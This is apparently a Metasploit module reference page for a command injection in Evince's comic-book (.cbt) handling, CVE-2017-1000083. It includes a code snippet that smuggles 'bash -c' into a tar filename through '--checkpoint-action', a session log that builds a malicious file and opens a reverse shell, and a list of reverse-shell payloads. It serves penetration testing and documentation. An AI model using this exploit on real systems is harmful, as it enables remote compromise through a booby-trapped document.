Evince CBT File Command Injection - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/evince_cbt_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Evince CBT File Command Injection
Module: exploit/multi/fileformat/evince_cbt_cmd_injection
Source code: modules/exploits/multi/fileformat/evince_cbt_cmd_injection.rb
Disclosure date: 2017-07-13
Last modification time: 2019-02-03 06:18:31 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000083

This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book .cbt files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small. This module has been tested successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/fileformat/evince_cbt_cmd_injection
msf exploit(evince_cbt_cmd_injection) > show targets
    ... a list of targets ...
msf exploit(evince_cbt_cmd_injection) > set TARGET target-id
msf exploit(evince_cbt_cmd_injection) > show options
    ... show and set options ...
msf exploit(evince_cbt_cmd_injection) > exploit

Knowledge Base


Description


This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book .cbt files.

Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality.

Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small.

Vulnerable Application


Evince is a document viewer for multiple document formats.

This module has been tested successfully on evince versions:

  • 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6
  • 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04

Verification Steps


  1. use exploit/multi/fileformat/evince_cbt_cmd_injection
  2. set PAYLOAD <PAYLOAD>
  3. run
  4. The module should generate the malicious msf.cbt file
  5. handler -p <PAYLOAD> -H <LHOST> -P <LPORT>
  6. Copy msf.cbt to target host and open with Evince
  7. You should receive a new session

Options


FILENAME

The cbt document file name (default: msf.cbt)

Scenarios


  msf5 > use exploit/multi/fileformat/evince_cbt_cmd_injection 
  msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash
  payload => cmd/unix/reverse_bash
  msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > run

  [*] Writing file: msf.cbt (1078272 bytes) ...
  [+] msf.cbt stored at /root/.msf4/local/msf.cbt
  msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www
  [*] exec: mv /root/.msf4/local/msf.cbt /var/www

  msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler 
  msf5 exploit(multi/handler) > set payload cmd/unix/reverse_bash
  payload => cmd/unix/reverse_bash
  msf5 exploit(multi/handler) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Command shell session 1 opened (172.16.191.188:4444 -> 172.16.191.160:39362) at 2019-02-03 00:16:59 -0500

  id
  uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
  uname -a
  Linux ubuntu-16-04-x64 4.4.0-140-generic #166-Ubuntu SMP Wed Nov 14 20:09:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Manual Cleanup


To prevent re-exploitation from a thumbnailer process:

  /usr/bin/killall evince-thumbnailer
  /usr/bin/killall atril-thumbnailer

Go back to menu.

Msfconsole Usage


Here is how the multi/fileformat/evince_cbt_cmd_injection exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/evince_cbt_cmd_injection

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show info

       Name: Evince CBT File Command Injection
     Module: exploit/multi/fileformat/evince_cbt_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-13

Provided by:
  Felix Wilhelm
  Sebastian Krahmer
  Matlink
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.cbt          yes       The cbt document file name

Payload information:
  Space: 215
  Avoid: 4 characters

Description:
  This module exploits a command injection vulnerability in Evince 
  before version 3.24.1 when opening comic book `.cbt` files. Some 
  file manager software, such as Nautilus and Atril, may allow 
  automatic exploitation without user interaction due to thumbnailer 
  preview functionality. Note that limited space is available for the 
  payload (<256 bytes). Reverse Bash and Reverse Netcat payloads 
  should be sufficiently small. This module has been tested 
  successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 
  on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 
  16.04.

References:
  http://www.securityfocus.com/bid/99597
  https://nvd.nist.gov/vuln/detail/CVE-2017-1000083
  https://www.exploit-db.com/exploits/45824
  https://seclists.org/oss-sec/2017/q3/128
  https://bugzilla.gnome.org/show_bug.cgi?id=784630
  https://bugzilla.suse.com/show_bug.cgi?id=1046856
  https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418
  https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662
  https://access.redhat.com/security/cve/cve-2017-1000083
  https://security-tracker.debian.org/tracker/CVE-2017-1000083

Module Options


This is a complete list of options available in the multi/fileformat/evince_cbt_cmd_injection exploit:

msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show options

Module options (exploit/multi/fileformat/evince_cbt_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.cbt          yes       The cbt document file name

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/fileformat/evince_cbt_cmd_injection exploit:

msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show advanced

Module advanced options (exploit/multi/fileformat/evince_cbt_cmd_injection):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/fileformat/evince_cbt_cmd_injection module can exploit:

msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/evince_cbt_cmd_injection exploit:

msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   3   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   4   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   5   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   6   payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   7   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   8   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   9   payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   10  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   11  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   12  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   13  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   14  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   15  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   16  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   17  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   18  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   19  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   20  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   21  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   22  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   23  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   24  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   25  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   26  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   27  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   28  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   29  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   30  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   31  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   32  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   33  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   34  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   35  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   36  payload/generic/custom                                       normal  No     Custom Payload
   37  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   38  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/fileformat/evince_cbt_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/evince_cbt_cmd_injection) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Payload is too large (<PATH.LENGTH>): Max path length is 256 characters


Here is a relevant code snippet related to the "Payload is too large (<PATH.LENGTH>): Max path length is 256 characters" error message:

76:	    ext = %w[png jpg gif]
77:	    path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"
78:	
79:	    # Tar archive max path length is 256.
80:	    if path.length > 256
81:	      fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
82:	    end
83:	
84:	    # Tar archive max file name length is 100.
85:	    path.split('/').each do |fname|
86:	      if fname.length > 100

File name too long (<FNAME.LENGTH>): Max filename length is 100 characters


Here is a relevant code snippet related to the "File name too long (<FNAME.LENGTH>): Max filename length is 100 characters" error message:

82:	    end
83:	
84:	    # Tar archive max file name length is 100.
85:	    path.split('/').each do |fname|
86:	      if fname.length > 100
87:	        fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
88:	      end
89:	    end
90:	
91:	    # Create malicious tar archive
92:	    tarfile = StringIO.new

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Felix Wilhelm
  • Sebastian Krahmer
  • Matlink
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.